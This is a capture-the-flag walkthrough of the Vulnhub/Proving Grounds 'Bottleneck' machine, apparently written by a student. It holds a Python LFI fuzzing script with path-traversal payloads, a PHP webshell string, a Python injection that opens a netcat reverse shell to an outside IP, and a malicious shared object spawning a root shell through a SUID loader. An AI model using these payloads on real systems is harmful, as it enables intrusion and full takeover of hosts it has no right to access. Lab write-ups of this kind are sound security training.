Bottleneck — Vulnhub Walkthrough

Hi, this is quite a fun box for me and was rated as intermediate in Proving Grounds, without further ado, let’s get started. Enjoy !

Network Enumeration

nmap -sCV -oA nmap/bottleneck 192.168.178.22

# Nmap 7.91 scan initiated Mon May 10 07:26:35 2021 as: nmap -sCV -oA nmap/bottleneck 192.168.178.22
Nmap scan report for 192.168.178.22
Host is up (0.33s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
|_http-title: BOTTLENECK
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 10 07:27:47 2021 -- 1 IP address (1 host up) scanned in 72.02 seconds

Exploitation

I go through the page source but didn’t found any interesting. Hence i use ffuf with wordlistbig.txt and extension .php to find hidden directory/files.

$ echo "Ym90dGxlbmVja19kb250YmUucG5n" | base64 -d
$ bottleneck_dontbe.png
$ date --help | grep %s
%s seconds since 1970-01-01 00:00:00 UTC
$ date +%s
1621098286
#!/usr/bin/env python3
import requests
import base64
import os

ip = "192.168.178.22"
url = f"http://{ip}/image_gallery.php"

with open('payload.txt') as file:
for payload in file:
# Find difference of timestamp
s = os.popen("date +%s")
t = int(s.read())-28800
# Base64 encoding for payload
word = payload.strip('\r').strip('\n')
encode_payload_bytes = base64.b64encode(word.encode('utf-8'))
encode_payload = encode_payload_bytes.decode('utf-8')
print(f"Payload: {word}\nEncoded Payload: {encode_payload}\nt: {str(t)}")

try:
params = {'t':str(t),'f':encode_payload}
r = requests.get(url,params=params)
print("-----------Response Begin-----------")
response = r.text
if not response:
print("No Response")
else:
print(response)
print("-----------Response End-----------")
except Exception as e:
print(e)
../../../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../etc/passwd
../../../../etc/passwd
../../../etc/passwd
$ python3 script.py
Payload: ../../../../etc/passwd
Encoded Payload: Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
t: 1621070425
-----------Response Begin-----------

Let me throw away your nice request into the bin.
The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastruct
ructure I will take strong legal measures.
Why don't you wait on your chair until someone (maybe the police) knock on your door?

<pre>
_,..._
/__ \
\>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
-----------Response End----------
../../../image_gallery.php
../../image_gallery.php
../image_gallery.php
Payload: ../image_gallery.php
Encoded Payload: Li4vaW1hZ2VfZ2FsbGVyeS5waHA=
t: 1621070808
-----------Response Begin-----------
<?php
/*
CHANGELOG
v1.1: Still testing without content.
I've fixed that problem that @p4w and @ska notified me after hacker attack.
Shit I'm too lazy to make a big review of my code.
I think that the LFI problem can be mitigated with the blacklist.
By the way to protect me from attackers, all malicious requests are immediately sent to the SOC

v1.0: Starting this beautiful gallery
*/

$tstamp = time();
if(isset($_GET['t']) && isset($_GET['f'])){
include_once 'image_gallery_load.php';
exit();
}

?>
Payload: ../image_gallery_load.php
Encoded Payload: Li4vaW1hZ2VfZ2FsbGVyeV9sb2FkLnBocA==
t: 1621071110
-----------Response Begin-----------
<?php
function print_troll(){
$messages = $GLOBALS['messages'];
$troll = $GLOBALS['troll'];
echo $messages[0];
echo $troll;
}

$troll = <<<EOT
<pre>
_,..._
/__ \
>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
EOT;

if(!isset($_GET['t']) || !isset($_GET['f'])){
exit();
}

$imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
"The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
"Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");

if(abs($_GET['t'] - $timestamp) > 10){
exit();
}
foreach($blacklist as $elem){
if(strstr($imagefile, $elem) !== FALSE)
$isblocked = TRUE;
}
// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
print_troll();
}
else{
echo $filecontent;
}
chdir('../');

?>

-----------Response End-----------
  1. Empty file
  2. Something in the machine keep erase the content of /tmp/output
  • Reason 3 should be unlikely because its quite nonsense.
../etc/passwd
../etc/passwd'<?php system($_GET['cmd'])?>
../../../../../tmp/output
../../../../tmp/output
../../../tmp/output
../../tmp/output
../tmp/output
Payload: ../etc/passwd'<?php system($_GET['cmd'])?>
Encoded Payload: Li4vZXRjL3Bhc3N3ZCc8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8+
t: 1621079901
-----------Response Begin-----------

Let me throw away your nice request into the bin.
The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastruct
ructure I will take strong legal measures.
Why don't you wait on your chair until someone (maybe the police) knock on your door?

<pre>
_,..._
/__ \
\>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
-----------Response End-----------
Payload: ../../../../../../tmp/output
Encoded Payload: Li4vLi4vLi4vLi4vLi4vLi4vdG1wL291dHB1dA==
t: 1621079902
-----------Response Begin-----------
report: Traceback (most recent call last):
File "/opt/ids_strong_bvb.py", line 7, in <module>
data = str(input('report: '))
File "<string>", line 1
'../etc/passwd'<?php system($_GET['cmd'])?>'
^
SyntaxError: invalid syntax

-----------Response End-----------
../etc/passwd
../etc/passwd' and __import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.178 8888 >/tmp/f") and '
../../../../../tmp/output
../../../../tmp/output
../../../tmp/output
../../tmp/output
../tmp/output

PRIVILEGE ESCALATION

With command sudo -l, we found interesting command :

www-data@bottleneck:~/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on bottleneck:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n\:/snap/bin

User www-data may run the following commands on bottleneck:
(bytevsbyte) NOPASSWD: /var/www/html/web_utils/clear_logs
www-data@bottleneck:~/html/web_utils$ ls -al
ls -al
total 8
drwxrwxr-x 2 www-data www-data 4096 Mar 2 2020 .
drwxr-xr-x 7 root root 4096 Sep 26 2019 ..
lrwxrwxrwx 1 root root 18 Mar 2 2020 clear_logs -> /opt/clear_logs.s
h
www-data@bottleneck:~/html/web_utils$ ls -al /opt/clear_logs.sh
ls -al /opt/clear_logs.sh
-rwxr--r-- 1 bytevsbyte bytevsbyte 43 Sep 27 2019 /opt/clear_logs.sh
www-data@bottleneck:~/html/web_utils$

PRIVILEGE ESCALATION (TO ROOT)

We are now bytevsbyte, let's find file with SUID on it :

bytevsbyte@bottleneck:~/html/web_utils$ cat /usr/test/testlib.c
cat /usr/test/testlib.c
#include <dlfcn.h>
#include <unistd.h>

int main(int argc, char *argv[]){
void *handle;
int (*function)();
if(argc < 2)
return 1;
handle = dlopen(argv[1], RTLD_LAZY);
function = dlsym(handle, "test_this");
function();
return 0;
}
bytevsbyte@bottleneck:~/html/web_utils$
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void test_this()
{
setuid(0); setgid(0); system("/bin/sh");
}
$ wget http://<ip>:8099/test_this.so
$ mv test_this.so /tmp/
$ chmod 777 /tmp/test_this.so
$ /usr/test/testlib /tmp/test_this.so

Information Technology Student